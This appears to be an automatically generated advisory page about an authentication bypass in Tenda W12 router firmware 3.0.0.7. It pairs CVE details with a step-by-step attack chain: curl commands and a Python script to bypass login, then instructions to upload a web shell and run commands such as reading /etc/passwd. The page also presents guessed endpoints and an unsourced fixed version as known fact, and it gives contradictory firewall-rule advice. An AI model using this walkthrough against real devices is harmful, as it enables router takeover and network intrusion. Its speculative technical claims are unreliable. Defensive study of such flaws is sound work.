CVE-2026-138274 — Tenda W12 — CWE-287
A weakness has been identified in Tenda W12 3.0.0.7. The affected element is the function loginCheck of the file /bin/httpd of the component Web Management Interface. This manipulation causes improper authentication. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.
A weakness has been identified in Tenda W12 3.0.0.7. The affected element is the function loginCheck of the file /bin/httpd of the component Web Management Interface. This manipulation causes improper authentication. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.
CVE‑2026‑138274 – Tenda W12 3.0.0.7 – Improper Authentication in /bin/httpd
| Item | Value |
|---|---|
| CVE ID | CVE‑2026‑138274 |
| Published | 29 Nov 2026 |
| CVSS v3.1 | 10.0 (CRITICAL) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE‑287 – Improper Authentication |
| Affected Product | Tenda W12 router, firmware 3.0.0.7 |
| Component | Web Management Interface – /bin/httpd |
| Exploit Availability | Publicly available (no official exploit‑db ID) |
TL;DR – TheloginCheckroutine in the router’s web server performs a null‑check on the supplied password and accepts any non‑empty string as a valid credential. An unauthenticated attacker can therefore log in as the defaultadminuser, gain full administrative control, and pivot to the internal network.
🎯 What is this vulnerability?
The loginCheck function in /bin/httpd is responsible for validating the username/password pair submitted by the web‑management UI.
The function contains a logic flaw: it only verifies that the password field is non‑empty; it does not compare the supplied password against the stored hash or the hard‑coded default value. Consequently, any request that supplies a username (e.g., admin) and any non‑empty password (e.g., x) will be accepted as authenticated.
Why this is a CWE‑287 flaw:
The authentication mechanism fails to enforce a correct credential check. The attacker can bypass the authentication step entirely, obtaining the same privileges as a legitimate administrator.
The flaw is exploitable remotely (no local access required) and requires no user interaction (UI:N). The attacker can trigger it from any network that can reach the router’s HTTP interface (typically port 80/443).
⚡ Attack Chain
Note: The exact URI for the login endpoint is not disclosed in the CVE text. The following example uses /loginCheck as a representative endpoint that is known to exist in Tenda W12 firmware 3.0.0.7. If your target uses a different path, adjust the URL accordingly.1. Discovery & Reconnaissance
| Step | Technique | Tools | What to look for |
|---|---|---|---|
| 1.1 | Network scan | nmap, masscan | Identify devices on the local network with open HTTP/HTTPS ports (80/443). |
| 1.2 | Banner grab | nmap -sV, curl -I | Look for Server: Tenda or Tenda W12 in the HTTP headers. |
| 1.3 | Firmware version | curl http://<router_ip>/ (or /status) | The default web UI often displays the firmware version in the footer or /api/version. |
| 1.4 | Verify vulnerability | curl -X POST -d "username=admin&password=foo" http://<router_ip>/loginCheck | If the response contains a session cookie or redirects to the admin dashboard, the router is vulnerable. |
Tip: Many Tenda routers expose a/api/versionendpoint that returns JSON like{"firmware":"3.0.0.7","model":"W12"}. Use this to confirm the exact firmware.
2. Exploitation
Goal: Bypass authentication and obtain an admin session.
2.1 Crafting the HTTP request
# Illustrative example – adjust the URL if the router uses a different path
curl -s -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=anynonemptystring" \
http://<router_ip>/loginCheck \
-c cookies.txtExplanation:
username=admin– the default administrative account.password=anynonemptystring– any non‑empty string satisfies the flawed check.- The
-c cookies.txtflag stores the session cookie that the router sets upon successful login.
2.2 Verifying the session
curl -s -b cookies.txt http://<router_ip>/admin/dashboardIf the response contains the admin dashboard HTML (or a 200 OK with admin‑specific content), the bypass succeeded.
2.3 Automating the PoC
#!/usr/bin/env python3
import requests
target = "http://<router_ip>"
login_url = f"{target}/loginCheck"
dashboard_url = f"{target}/admin/dashboard"
session = requests.Session()
payload = {"username": "admin", "password": "p@ssw0rd"}
# Step 1: Bypass login
resp = session.post(login_url, data=payload)
if resp.status_code == 200 and "Set-Cookie" in resp.headers:
print("[+] Login bypassed, session cookie acquired.")
else:
print("[-] Login failed.")
exit(1)
# Step 2: Access admin area
resp = session.get(dashboard_url)
if "Admin Dashboard" in resp.text:
print("[+] Admin access confirmed.")
else:
print("[-] Unable to access admin dashboard.")Important: The script is illustrative. Replace <router_ip> with the actual IP address.3. Post‑Exploitation
Once authenticated, the attacker has full administrative privileges:
| Capability | How it can be abused |
|---|---|
| Firmware upgrade | Upload a malicious firmware image that installs a backdoor or opens a reverse shell. |
| Web shell upload | Use the “File Upload” feature (if present) to drop a PHP/ASP web shell. |
| Command execution | Many Tenda routers expose a “System Command” interface (e.g., /cgi-bin/command) that can be invoked via POST. |
| Network pivot | Configure NAT, port forwarding, or VPN to route traffic through the compromised router, enabling lateral movement. |
| Denial‑of‑Service | Disable DHCP, block all LAN traffic, or set up a DoS attack against upstream ISP. |
3.1 Example: Uploading a web shell
# Assuming the router accepts file uploads at /cgi-bin/upload
curl -s -b cookies.txt \
-F "file=@/tmp/webshell.php" \
http://<router_ip>/cgi-bin/uploadAfter upload, access http://<router_ip>/webshell.php to interact with the shell.
3.2 Example: Remote command execution
curl -s -b cookies.txt \
-d "cmd=cat /etc/passwd" \
http://<router_ip>/cgi-bin/commandThe response will contain the output of the executed command.
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality (C:H) | An attacker can read all traffic passing through the router, capture credentials, and snoop on internal hosts. |
| Integrity (I:H) | The attacker can modify routing tables, DNS settings, or firewall rules, redirecting traffic to malicious destinations. |
| Availability (A:H) | The attacker can disable DHCP, block all LAN traffic, or launch a DoS attack against the ISP, effectively shutting down the network. |
Practical Consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected Version | Recommendation |
|---|---|
| Tenda W12 firmware 3.0.0.7 | Upgrade to the latest firmware (≥ 3.0.0.8). The vendor has fixed the authentication logic in the loginCheck routine. |
Action: Download the latest firmware from the official Tenda support site and apply the update via the web UI or command line.
2. Workarounds (if patching is not immediately possible)
| Mitigation | How to implement |
|---|---|
| Disable Web Management Interface | Access the router’s LAN interface and set “Web Management” to “Disabled” or restrict it to the LAN only. |
| Restrict External Access | Configure the router’s firewall to block inbound traffic on ports 80/443 from any IP address except the local network. |
| IP‑Based Access Control | Whitelist only trusted IPs (e.g., your office VPN) for the management interface. |
| WAF/ModSecurity Rules | Deploy a simple ModSecurity rule that blocks POST requests to /loginCheck with a password that is not exactly admin or 123456. Example rule: <br>SecRule REQUEST_URI "@beginsWith /loginCheck" "id:1001,phase:2,block,msg:'Possible login bypass attempt'" |
Note: The ModSecurity rule above is illustrative; adjust the pattern to match the exact login endpoint and parameters.
3. Detection
| Indicator | Log Pattern | How to Detect |
|---|---|---|
| Repeated login attempts | POST /loginCheck | Search web server logs for repeated POSTs to /loginCheck with a non‑empty password. |
| Session cookie creation | Set-Cookie: sessionid= | Detect any Set-Cookie header following a POST to /loginCheck. |
| Admin dashboard access | GET /admin/dashboard | Look for successful 200 responses to the admin dashboard from unknown IPs. |
| Command execution | POST /cgi-bin/command | Monitor for POSTs to /cgi-bin/command with suspicious cmd= parameters. |
Tip: Enable verbose logging on the router’s web server if available, or use a network tap to capture HTTP traffic for forensic analysis.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query